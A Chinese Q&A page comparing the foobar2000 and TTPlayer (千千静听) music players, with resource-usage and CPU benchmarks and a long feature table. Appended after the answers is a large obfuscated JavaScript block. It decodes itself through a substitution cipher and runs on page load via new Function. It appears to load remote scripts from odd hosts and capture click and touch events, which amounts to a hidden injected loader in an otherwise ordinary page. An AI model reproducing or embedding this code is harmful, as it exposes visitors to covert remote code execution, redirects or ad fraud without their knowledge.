foobar和千千静听

请详细列出区别?我是foobar的忠实用户…
2025-02-12 11:22:39
推荐回答(2个)
回答1:

Foobar2000
Foobar2000 是一个非常非常值得推荐的多媒体播放器!程序体积非常小巧,运行时只占有1.9M内存,5%左右的CPU资源,资源消费很小,界面朴素,没有Skin和其他多余的东西,简单就是一种美!

千千静听
拥有自主研发的全新音频引擎,支持DirectSound、Kernel Streaming和ASIO音频流输出、32比特混音、AddIn插件扩展技术,具有资源占用低、运行效率高、扩展能力强等优点。

1. 在同一硬件平台上同一操作系统中同时打开两者,其资源消耗情况和性能参数对比 (fb2k 略有简化,两者都最小化且未播放):
注: 由于千千无专业控制台所以其准确的启动时间无从得知)
foobar2000 | 千千静听
-----------------------------------------------------
Version: 0.9.3.1 | 4.6.8
Startup time: 0:00.032112 | N/A
(fb2k 启动约耗时 0.032 秒)
I/O
Reads: 14 | 99
Read Delta: 0 | 0
Writes: 0 | 8
Write Delta: 0 | 0
Others 248 | 2,808
Handles
Handles: 37 | 198
GDI Handles: 65 | 152
USER Handles: 44 | 92
Virtual Memory
Private Bytes: 1,360 K | 5,352 K
Peak Private Bytes: 1,364 K | 6,148 K
Virtual Size: 30,800 K | 48,612 K
Page Fault: 1,211 | 12,129
Page Fault Delta: 0 | 0
Physical Memory
Working Set: 548 K | 1,692 K
WS Private: 248 K | 668 K
WS Shareable: 300 K | 1,028 K
WS Shared: 252 K | 752 K
Peak Working Set: 4,540 K | 8,556 K
-----------------------------------------------------
初步结论: fb2k 的资源占用显著小于千千静听。

2. fb2k 的文件格式转换器理论上可以将任何 fb2k 能播放的音频文件转换成任意格式(只要你有相应格式的命令行编码器)。而且因为fb2k是通过调用外部编码器进行编码的,所以其灵活度和自由度是无可比拟的,你可以随时升级或降级某解码器以得到你期望得到的编码结果。在这个方面,千千静听也有 CommandLineEncoder能实现调用外部编码器的基本功能,不过由于缺乏诸如“生成预览”、“cuesheets/chapter”、 “ReplayGain”以及“DSPprocessing”等等这些极其重要的起决定性作用的专业功能,千千的文件格式转换器功能大打折扣,和 fb2k 根本无法相提并论。另外fb2k 的转换器可对输出的文件通过完全可制订的命名规则进行命名,可调整音频的输出位深已及 Dither方式,这些也都是千千静听简陋的转码器所不具备的。
3. fb2k 一直坚持向大众公开其 SDK包,有着丰富的接口和完备的功能调用,虽然新版 fb2k 较 0.8.3 有更多的限制使得某些第三方应用无法实现 (如ASIO),但这也保证了一个更为稳定和高效的内核。在这方面,我无法在千千静听的官方网站上找到指向其 SDK 的链接。在得到千千静听的 SDK之前,更进一步的比较无法进行。
4. fb2k 遵循模块化设计理念,实现不同功能的代码和资源被分别封装成不同的 .dll文件,从而可以方便地禁止掉某一特定的功能或对某一特定的功能进行升级,当然 debug也会更加容易。千千静听也部分遵循模块化设计理念,由于未公开 SDK,其具体的模块化情况不得而知,只是觉得其 AddIn 目录略显杂乱。
5. fb2k 0.9.3.1 安装包中的所有文件均是为 fb2k量身订做的(外部编码器等不算),并且未捆绑任何流氓插件。在这方面,千千静听安装包悉心地为我们准备了简单实用而又功能强大的“百度超级搜霸 ”,另外还有专为 Winamp 设计的 MP3pro 解码器和微软两年多前发布的老掉牙的 WMA 解码器以及同样年代久远同属微软的DMO Runtime Library 6.3 版活化石。而 fb2k 中未包含任何来自微软的动态链接库文件。(fb2k 当然也要调用的)
小知识: 过多地使用由微软提供的非 OS 核心的库文件将会影响程序的 independency 也就是独立性,使它的运作更容易受外部环境的影响。
6. 千千静听能自动下载和显示大部分常见的和流行的中文歌曲的歌词 out-of-the-box,而且还有丰富的设置,在实际使用中相当的方便。在这方面,fb2k 实现起来就比较困难,而且效果也没有千千静听的好。
7. 千千静听的回放增益功能单薄,未提供 Preamp 和专辑扫描模式等功能。处理方式也没有 peak cliping 相关的选项。如果为了回放增益功能而截了音频的顶就真的有点太得不偿失了,相比之下 fb2k 对回放增益的支持既专业又完整。
8. 千千静听支持的文件类型不如 fb2k 丰富,但千千静听不支持而fb2k 支持的文件格式多半都是比较小众化的。千千静听提供对MP3pro和 RealMedia 等大众常见的二线格式文件的支持,然而到现在,这些常见的文件格式 fb2k 仍然无法提供支持。
9.千千静听被大家一致推崇的快捷键功能其实并没有所说的那么强大,一个功能只能绑定一个全局、一个内部共两组快捷键,我连试了三个不同品牌的多媒体键盘 (微软/罗技/戴尔),千千静听都不能默认地支持键盘上的那些多媒体键,而这仨键盘 fb2k 都无一例外地支持得很好。在可绑定快捷键的命令数量上fb2k 比千千静听多数倍,如果再加上 foo_run,fb2k 在这方面可以说是强大得令人发指。
10. 经过 TotalRecorder 6.0 PE 捕捉声音为 WAV 文件并用 AdobeAudition 2.0 进行波形分析和主观听析及 fb2k ABX测试,我发现在 mp3 解码的音质上两者基本没有区别。另外,两者均在廉价的板载 HDA 7.1 声卡上通过了 udial.wav 测试。
11. CPU 占用测试 (可视化效果和歌词关闭):
测试歌曲: 周笔畅 - 笔记
文件格式: mp3
歌曲长度: 0:04:18.345 (11393024 个音频样本)
声道数: 2 (Joint stereo)
比特率: 128 Kbps
采样率: 44100 Hz
播放所消耗的 CPU 时间 (秒) Foobar2000 | 千千静听
--------------------------------------------------------
Kernal Time: 0.171 | 0.281
User Time: 0.109 | 0.109
Total Time: 0.281 | 0.390
--------------------------------------------------------
两者在播放过程中的 CPU 占用都相当的低,最高 0.77,相当不错,在节省 CPU 方面 fb2k 比千千静听略胜半筹。

12. 杂项对比 (官插=官方插件) 千千静听 | foobar2000
--------------------------------------------------------
可调播放优先级: 3级 | 7级
可调编码优先级: N/A | 7级
无缝播放: N/A | √
控制台: × | √
多媒体键盘支持: Buggy √ | √ 很好
MP3pro: (Winamp 插件) √ | ×
RM: (Real 插件) √ | ×
一般 WMA: (WMA 插件) √ | √ (内建) 调用
DRM 保护的 WMA: × | ×
目录随机播放功能: × | √
HDCD/SACD/DVD-A: × | (插件)HDCD
显示总共播放时间: × | √
保存多个 DSP 配置实时调用: × | √
快进快退时间: 固定为5秒 × | √ 可手动调节
多声道 ogg 文件示波: 右声道有问题 × | √
KS 输出音量调整延迟: 低 | 高
正确显示 WMA 比特率: × | √ 已修复
调整文件属性时主窗口: 无法操作 × | √ 可以操作
自定义菜单: × | √
自动更新: √ | ×
选择性添加文件: × | √
新添文件自动排序(可编程): × | √
剔除死链接文件: 仅于加载列表时 √ | √
不同账户不同配置文件: × | √
WMA Tagging: √ | √新版支持
媒体库: √ | √ 强大
Unicode 支持: √ | √ 完全
Tag 位置调整: × | √ 文件首/尾
界面可制订性: 几乎没有 × | √ 登峰造极
编码器: 简陋 (内建) √ | √ (官插) 强大
CD 播放: 简陋 √ | √ (官插) 高级
采样率转换器: 不科学 (内建) √ | √ (官插) 外置
文件对比: × | √ (官插)
benchmark 测速: × | √ (官插)
刻录功能: × | √ (官插) Peter与Nero合作关系
ASIO: √ | √ (官插)
KS: (内建) √ | √ (官插)
直接播放打包音频: × | √ (官插)
Hard -6db Limit: × | √ (官插)
PPHS Resample: × | √ (官插)
Advanced Limiter: × | √ (官插)
ABX 测试: × | √ (官插)
专辑列表: × | √ (官插)
脚本操作: × | √ (插件)
多声道支持: Buggy 基本 √ | √ (插件) 高级
自动关机: 仅倒计时 √ | √ (插件) 高级
播放列表: 简陋 √ | √ (插件) 强大
变速变调功能: × | √ (插件)
iPod 支持: × | √ (插件) 现在的foo_dop已经很好用了
蓝牙: × | √ (插件)
PDA 遥控: × | √ (插件)
通用遥控器支持: × | √ (插件)
罗技 G15 游戏键盘内置液显支持: × | √ (插件) 显示中文的字体有问题,谁有G15SDK麻烦发给我改改
跳过无声部分功能: × | √ (插件)
闹钟功能: × | √ (插件)
书签功能: × | √ (插件)
Popup 提示: (内建) √ | √ (插件) 更眩
卡拉 OK 消音: × | √ (插件)
网络控制: × | √ (插件)
目录监视: (内建) √ | √ (插件)
预览播放模式: × | √ (插件)
创新 X-Fi 遥控板支持: × | √ (插件)
快捷键运行外部命令: × | √ (插件)
发送功能: (内建) √ | √ (插件)
换肤: (内建) √ | √ (插件)
搜索功能: (内建) √ | √ (插件) 强大
数据库 Tagging: × | √ (插件)
可自定义的信息显示面板: × | √ (插件)
视觉效果: (内建) √ | √ (插件)
聊天工具 Now Playing: 仅 MSN Msgr √ | √ (插件) 广泛
AC3/DTS 支持: (内建) √ | √ (插件)
显示专辑封面: × | √ (插件)
收听互联网广播: × | √ (插件)
察看声道占用情况: × | √ (插件)
锁定播放列表: × | √ (插件)
Dolby Headphone: × | √ (插件)
DTS-CD/DTS-WAV: × | √ (插件)
Winamp 插件桥接: Winamp2 √ | √ (插件)
歌词功能: 强大 √ | √ (插件) 能用
KS Input 支持: × | √ (插件)
--------------------------------------------------------
千千静听在歌词方面优势巨大,大部分其它方面还需要努力。千千静听比 foobar 更适合大众,foobar太过专业、插件众多、难学难用,且没有官方中文版,默认界面又过于不友好,而千千静听小巧玲珑、性能优异,该有的功能基本都有了,上手也容易,而且是全中文版的。

名词解释

控制台: 用来显示程序的核心反馈信息
多声道 ogg 文件示波右声道有问题: 也就是说播放 5.1声道的 ogg 文件时, 右声道虽能正常发声但千千静听主窗口的视觉效果没有相应的反应。
调整文件属性时主窗口无法操作: 就是说当你编辑歌曲信息时无法控制主窗口。
文件对比: 对比文件是否一致
benchmark 测速:测试某一音频文件全速解码所消耗的时间
刻录功能: 将歌曲刻录成光盘
Hard -6db Limiter/PPHS Resampler/Advanced Limiter: 都是不可缺少的基本DSP
ABX 测试:用来主观测试音频的质量的方法。
脚本操作: 编写自动化脚本以进行定时或批量编码等耗时耗力的操作
蓝牙: 不要告诉我你不知道
PDA 遥控:用手持 PDA 遥控 foobar
通用遥控器支持: 买个红外线接收器和一个遥控器你就可以随意控制 foobar2000
罗技 G15 游戏键盘内置液显支持: 在键盘上的小显示器上显示歌曲信息
创新 X-Fi 遥控板支持: 创新声卡附带的遥控器
数据库 Tagging: 所有对歌曲 tags(歌名、歌手名、专辑名等等) 的更改不应用到歌曲本身而是一个数据库文件
察看声道占用情况: 可直观地检查软件的多声道输出是否正常。
Dolby Headphone: 杜比耳机支持
DTS-CD/DTS-WAV: DTS的波形和光盘形式,比较流行
KS Input 支持: 对 Input 进行 bypass winmixer 处理

回答2:

我用千千静听

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();